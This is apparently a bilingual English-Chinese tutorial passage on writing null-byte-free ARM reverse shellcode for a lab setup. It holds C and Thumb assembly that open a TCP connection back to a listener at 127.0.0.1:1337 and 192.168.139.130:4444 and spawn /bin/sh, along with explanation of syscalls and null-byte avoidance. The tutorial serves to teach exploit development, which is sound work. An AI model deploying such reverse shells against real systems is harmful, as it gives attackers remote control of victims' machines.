In this tutorial, you will learn how to write TCP reverse shellcode that is free of null bytes. If you want to start small, you can learn how to write a simple execve() shell in assembly before diving into this slightly more extensive tutorial. If you need a refresher in Arm assembly, take a look at my ARM Assembly Basics tutorial series, or use this Cheat Sheet:
Before we start, I’d like to remind you that you’re creating ARM shellcode and therefore need to set up an ARM lab environment if you don’t already have one. You can set it up yourself (Emulate Raspberry Pi with QEMU) or save time and download the ready-made Lab VM I created (ARM Lab VM). Ready?
First of all, what is a reverse shell and how does it really work? Reverse shells force an internal system to actively connect out to an external system. In that case, you machine has a listener port on which it receives the connection back from the target system.
Since it is more common that the firewall of the target network fails to block outgoing connections, one can take advantage of this misconfiguration by using a reverse shell (as opposed to a bind shell, which requires incoming connections to be allowed on the target system).
This is the C code we will use for our translation.这是即将被转译的C代码
int sockfd; // socket file descriptor 套接字文件描述符
socklen_t socklen; // socket-length for new connections 新的连接的套接字长度
struct sockaddr_in addr; // client address 客户端地址
addr.sin_family = AF_INET; // server socket type address family = internet protocol address
//服务端套接字类型 地址族 = IP地址
addr.sin_port = htons( 1337 ); // connect-back port, converted to network byte order
addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // connect-back ip , converted to network byte order
// create new TCP socket 创建一个新的TCP套接字
sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
// connect socket 连接套接字
connect(sockfd, (struct sockaddr *)&addr, sizeof(addr));
// Duplicate file descriptors for STDIN, STDOUT and STDERR
// spawn shell
execve( "/bin/sh", NULL, NULL );
STAGE ONE: SYSTEM FUNCTIONS AND THEIR PARAMETERS
The first step is to identify the necessary system functions, their parameters, and their system call numbers. Looking at the C code above, we can see that we need the following functions: socket, connect, dup2, execve. You can figure out the system call numbers of these functions with the following command:
The parameters each function expects can be looked up in the linux man pages, or on w3challs.com.
The next step is to figure out the specific values of these parameters. One way of doing that is to look at a successful reverse shell connection using strace. Strace is a tool you can use to trace system calls and monitor interactions between processes and the Linux Kernel. Let’s use strace to test the C version of our bind shell. To reduce the noise, we limit the output to the functions we’re interested in.
In the first stage, we answered the following questions to get everything we need for our assembly program:
1.Which functions do I need?
2.What are the system call numbers of these functions?
3.What are the parameters of these functions?
4.What are the values of these parameters?
This step is about applying this knowledge and translating it to assembly. Split each function into a separate chunk and repeat the following process:
1. Map out which register you want to use for which parameter
2. Figure out how to pass the required values to these registers
1. How to pass an immediate value to a register
2. How to nullify a register without directly moving a #0 into it (we need to avoid null-bytes in our code and must therefore find other ways to nullify a register or a value in memory)
3. How to make a register point to a region in memory which stores constants and strings
3. Use the right system call number to invoke the function and keep track of register content changes
1. Keep in mind that the result of a system call will land in r0, which means that in case you need to reuse the result of that function in another function, you need to save it into another register before invoking the function.
2. Example: sockfd = socket(2, 1, 0) – the result (sockfd) of the socket call will land in r0. This result is reused in other functions like dup2(sockid, 0), and should therefore be preserved in another register.
The first thing you should do to reduce the possibility of encountering null-bytes is to use Thumb mode. In Arm mode, the instructions are 32-bit, in Thumb mode they are 16-bit. This means that we can already reduce the chance of having null-bytes by simply reducing the size of our instructions. To recap how to switch to Thumb mode: ARM instructions must be 4 byte aligned. To change the mode from ARM to Thumb, set the LSB (Least Significant Bit) of the next instruction’s address (found in PC) to 1 by adding 1 to the PC register’s value and saving it to another register. Then use a BX (Branch and eXchange) instruction to branch to this other register containing the address of the next instruction with the LSB set to one, which makes the processor switch to Thumb mode. It all boils down to the following two instructions.
你要做的第一件事就是切换到thumb模式来减少偶然出现的空字节。在ARM模式下，指令是32位的，在Thumb模式下是16位的。这意味着我们可以通过简单地减少指令的大小来减少出现空字节的机会。简要回顾一下如何切换到Thumb模式：ARM指令必须是4字节对齐的，要将模式从ARM更改为Thumb，请将下一条指令地址（在PC中找到）的LSB（最低有效位）设置为1，方法是通过PC寄存器自增1，然后保存到另一个寄存器。然后使用bx（branch and exchange）指令分支到另一个寄存器，该寄存器包含LSB设置为1的下一条指令的地址（译者注：就是说，这个寄存器要保存下一条指令的地址加1的值），从而使处理器切换到Thumb模式。以上操作可归结为以下两条指令：
After setting up the parameters, you invoke the socket system call with the svc instruction. The result of this invocation will be our sockid and will end up in r0. Since we need sockid later on, let’s save it to r4.
In ARMv7+ you can use the movw instruction and put any immediate value into a register. In ARMv6, you can’t simply move any immediate value into a register and must split it into two smaller values. If you’re interested more details about this nuance, there is a section in the Memory Instructions chapter (at the very end).
To check if I can use a certain immediate value, I wrote a tiny script (ugly code, don’t look) called rotator.py.
pi@raspberrypi:~ $ python rotator.py
Enter the value you want to check: 281
Sorry, 281 cannot be used as an immediate number and has to be split.
pi@raspberrypi:~ $ python rotator.py
Enter the value you want to check: 200
The number 200 can be used as a valid immediate number.
50 ror 30 --> 200
pi@raspberrypi:~ $ python rotator.py
Enter the value you want to check: 81
The number 81 can be used as a valid immediate number.
81 ror 0 --> 81
Final code snippet (ARMv6 version):代码最终版本（ARMv6）
mov r0, #2
mov r1, #1
sub r2, r2
mov r7, #200
add r7, #81 // r7 = 281 (socket syscall number)
svc #1 // r0 = sockid value
mov r4, r0 // save sockid in r4
2 – Connect 2- 连接
With the first instruction, we put the address of a structure object (containing the address family, host port and host address) stored in the literal pool into R0. The literal pool is a memory area in the same section (because the literal pool is part of the code) storing constants, strings, or offsets. Instead of calculating the pc-relative offset manually, you can use an ADR instruction with a label. ADR accepts a PC-relative expression, that is, a label with an optional offset where the address of the label is relative to the PC label. Like this:
// connect(r0, &sockaddr, 16)
adr r1, struct // pointer to struct
.ascii "\x02\xff" // AF_INET 0xff will be NULLed
.ascii "\x11\x5c" // port number 4444
.byte 192,168,139,130 // IP Address
In the first instruction we made R1 point to the memory region where we store the values of the address family AF_INET, the local port we want to use, and the IP address. The STRB instruction replaces the placeholder xff in \x02\xff with x00 to set the AF_INET to \x02\x00.
A STRB instruction stores one byte from a register to a calculated memory region. The syntax [r1, #1] means that we take R1 as the base address and the immediate value (#1) as an offset. How do we know that it’s a null byte being stored? Because r2 contains 0’s only due to the “sub r2, r2, r2” instruction which cleared the register.
The move instruction puts the length of the sockaddr struct (2 bytes for AF_INET, 2 bytes for PORT, 4 bytes for ipaddress, 8 bytes padding = 16 bytes) into r2. Then, we set r7 to 283 by simply adding 2 to it, because r7 already contains 281 from the last syscall.